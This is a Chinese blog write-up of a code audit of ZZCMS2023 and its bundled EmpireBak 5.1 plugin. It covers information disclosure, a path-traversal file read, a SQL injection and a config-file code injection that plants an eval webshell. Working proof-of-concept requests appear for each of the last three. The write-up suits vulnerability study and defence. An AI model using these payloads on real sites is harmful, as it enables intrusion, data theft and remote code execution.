ZZCMS2023SQL注入/帝国EmpireBak任意文件上传漏洞分析

Octopus Lv3

前言

在学习审计 ZZCMS2023 的时候遇到了一个 small Problem,结尾再提

审计

版本:2023
环境:Apache2.4.39+MYSQL5.7.56、PHP7.4
项目结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从 zzcms.net 下载
/template 系统模板存放目录;更多系统模板可从 zzcms.net 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zhaoshang 招商程序文件
/pinpai 品牌
/daili 代理
/zhanhui 展会
/company 企业
/job 招聘
/zixun 资讯
/special 专题
/ask 问答
/zhanting 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax 程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK 编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq 登录接口文件
/3/ucenter_api discuz 论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信 API
/3/phpexcelreader PHP 读取 excel 文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/daili_excel 要导入的代理信息 excel 表格文件上传目录
/image 程序设计图片,swf 文件存放目录
/js js 文件存放目录
/html 静态页存放目录
/update 版本升级更新时,数据库更新文件临时存放目录(规则文件中指定的排除目录)
/web.config 伪静态规则文件 for iis7(万网比较常用)
/httpd.ini 伪静态规则文件 for iss6
/.htaccess 伪静态规则文件 for apache
nginx.conf

信息泄露

一、
zzcms2023/3/qq_connect2.0/API/comm/inc.php存储着网站基本配置信息

访问会直接返回默认配置文件的内容,造成了信息泄露

二、
已被修复的CVE-2024-7925,漏洞定位在zzcms/3/E_bak5.1/upload/eginfo.php

修复关键

1
2
3
$lur=islogin();
$loginin=$lur['username'];
$rnd=$lur['rnd'];

第一时间使用3/E_bak5.1/upload/class/functions.php#islogin进行校验,检测是否已经登录EmpireBak后台,如果校验通过才允许调用 phpinfo

任意文件读取

zzcms2023/i/list.php存在任意文件读取漏洞,读取路径受限于网站配置,一般仅能读取网站文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
require("../inc/conn.php");
require("../inc/fy.php");
require("../inc/top.php");
require("../inc/bottom.php");
require("../inc/label.php");

require("../inc/get_cs.php");//获取参数
if (!isset($skin)){$skin='zixun_list.htm';}
$strout=read_tpl($skin);//读取模板文件
require("../inc/get_list.php");//获取列表数据,并从模板中替换
$pagetitle=$classtitle.zxlisttitle;
$pagekeywords=$classkeyword.zxlistkeyword;
$pagedescription=$classdescription.zxlistdescription;
require("../inc/replace_tpl.php");//替换模板中的变量标签
?>

对传入文件做了文件读取,跟进 read_tpl,发现传入的参数被放在了结尾,意味着没有过滤的情况下可以构造 ../ 来读取任意文件

1
2
3
4
5
6
7
8
9
$strout=read_tpl($skin);
//读取模板文件
->function read_tpl($tpl){
global $siteskin;
$fp=zzcmsroot."template/".$siteskin."/".$tpl;
//$tpl直接被拼接入字符串末尾,且无过滤
if (file_exists($fp)==false){die(tsmsg($fp.'模板文件不存在'));}
return file_get_contents($fp);
}

最后包含 zzcms2023/inc/replace_tpl.php ,这个文件会将读取内容直接输出到网页中

POC:

1
2
3
4
POST /i/list.php HTTP/1.1
Host: 192.168.43.169:8089

skin=..%2F..%2Fhttpd.ini

SQL注入

漏洞在 zzmcs2023/zhanting/top.php

接收外部传参id,当$id不等于 0 时直接拼入字符串并进行SQL查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$id=isset($_REQUEST['id'])?$_REQUEST['id']:0;

$channel=strtolower($_SERVER['REQUEST_URI']);
if($id<>0){
$sql="select * from zzcms_user where id='$id'";
//如果不等于 0 将拼入字符串中进行SQL查询

}elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){
$sql="select * from zzcms_user where username='$editor'";
}elseif(isset($editorinzsshow)) {
$sql="select * from zzcms_user where username='".$editorinzsshow."'";
//当两都为空时从zsshow接收值
}else{
showmsg ("参数不足!");exit;
}
$rs=query($sql);
$row=mysqli_num_rows($rs);

query 数据库类方法在 zzcms2023/inc/conn.php 被定义,这里 top.php 仅引用了 fun.php, 我们只需要找一个开头引用了 conn.php 和 top.php 的文件即可完成这串 SQL 漏洞链,因为是在最开始包含就执行了,也不需要考虑其他业务代码的过滤问题

Payload

1
/zhanting/job.php?id=1'union+select+sleep(5),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37-- -&skin=

任意文件上传

该漏洞并不是 zzcms 自身因素造成,而是由于其内置的第三方插件 EmpireBak v5.1 的漏洞

漏洞路径zzcms2023/3/E_bak5.1/upload/phomebak.php

前置条件:拥有 EmpireBak 后台 Cookie

漏洞函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function Ebak_DoEbak($add){
global $empire,$bakpath,$fun_r,$phome_db_ver;
$dbname=RepPostVar($add['mydbname']);
if(empty($dbname))
{
printerror("NotChangeDb","history.go(-1)");
}
$tablename=$add['tablename'];
$count=count($tablename);
if(empty($count))
{
printerror("EmptyChangeTb","history.go(-1)");
}
$add['baktype']=(int)$add['baktype'];
$add['filesize']=(int)$add['filesize'];
$add['bakline']=(int)$add['bakline'];
$add['autoauf']=(int)$add['autoauf'];
if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype']))
{
printerror("EmptyBakFilesize","history.go(-1)");
}
//目录名
if(empty($add['mypath']))
{
$add['mypath']=$dbname."_".date("YmdHis");
}
DoMkdir($bakpath."/".$add['mypath']);
//生成说明文件
$readme=$add['readme'];
$rfile=$bakpath."/".$add['mypath']."/readme.txt";
$readme.="\r\n\r\nBaktime: ".date("Y-m-d H:i:s");
WriteFiletext_n($rfile,$readme);

$b_table="";
$d_table="";
for($i=0;$i<$count;$i++)
{
$b_table.=$tablename[$i].",";
$d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
}
//去掉最后一个,
$b_table=substr($b_table,0,strlen($b_table)-1);
$bakstru=(int)$add['bakstru'];
$bakstrufour=(int)$add['bakstrufour'];
$beover=(int)$add['beover'];
$waitbaktime=(int)$add['waitbaktime'];
$bakdatatype=(int)$add['bakdatatype'];
if($add['insertf']=='insert')
{
$insertf='insert';
}
else
{
$insertf='replace';
}
if($phome_db_ver=='4.0'&&$add['dbchar']=='auto')
{
$add['dbchar']='';
}
$string="<?php
\$b_table=\"".$b_table."\";
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
\$b_bakline=".$add['bakline'].";
\$b_autoauf=".$add['autoauf'].";
\$b_dbname=\"".$dbname."\";
\$b_stru=".$bakstru.";
\$b_strufour=".$bakstrufour.";
\$b_dbchar=\"".addslashes($add['dbchar'])."\";
\$b_beover=".$beover.";
\$b_insertf=\"".addslashes($insertf)."\";
\$b_autofield=\",".addslashes($add['autofield']).",\";
\$b_bakdatatype=".$bakdatatype.";
?>";
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string);
if($add['baktype'])
{
$phome='BakExeT';
}
else
{
$phome='BakExe';
}
echo $fun_r['StartToBak']."<script>self.location.href='phomebak.php?phome=$phome&t=0&s=0&p=0&mypath=$add[mypath]&waitbaktime=$waitbaktime';</script>";
exit();
}

对关键段进行分析:直接接收外部传入 tablename表名单数组,如果元组数量为空则弹警告

再往下看,这里将数组元素循环赋值给两个变量,同时为 $d_table 字符串添加一段 PHP 代码,格式为 $tb[表名]=0; 并加上换行符 \r\n,最后substr去掉最后一个逗号

最后所有数组元素合并成一串php代码写入config.php中,这包括$b_table

总结:公共函数处理表单Ebak_DoEbak未经过滤将tablename拼入$b_table并生成php文件,造成任意文件上传漏洞
Payload如下

1
2
3
4
POST /3/E_bak5.1/upload/phomebak.php HTTP/1.1
Host: 192.168.43.169:8089

phome=DoEbak&mydbname=information_schema&savename=&oldtablepre=&newtablepre=&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=auto&bakdatatype=1&mypath=information_schema_20240830060146XttHTw1&insertf=replace&waitbaktime=0&readme=&autofield=&keyboard=&tablename%5B%5D=eval($_POST[1])&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

GetShell !!!

PS. 好像看完也没啥进步,后面仔细想想,也没啥大问题,还是需要多花时间了解挖掘手法和熟悉框架以及更有价值的漏洞

  • 标题: ZZCMS2023SQL注入/帝国EmpireBak任意文件上传漏洞分析
  • 作者: Octopus
  • 创建于 : 2025-06-13 17:20:36
  • 更新于 : 2025-07-30 20:42:16
  • 链接: https://redefine.ohevan.com/2025/06/13/PHP代码审计初学02-ZZCMS2023/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
ZZCMS2023SQL注入/帝国EmpireBak任意文件上传漏洞分析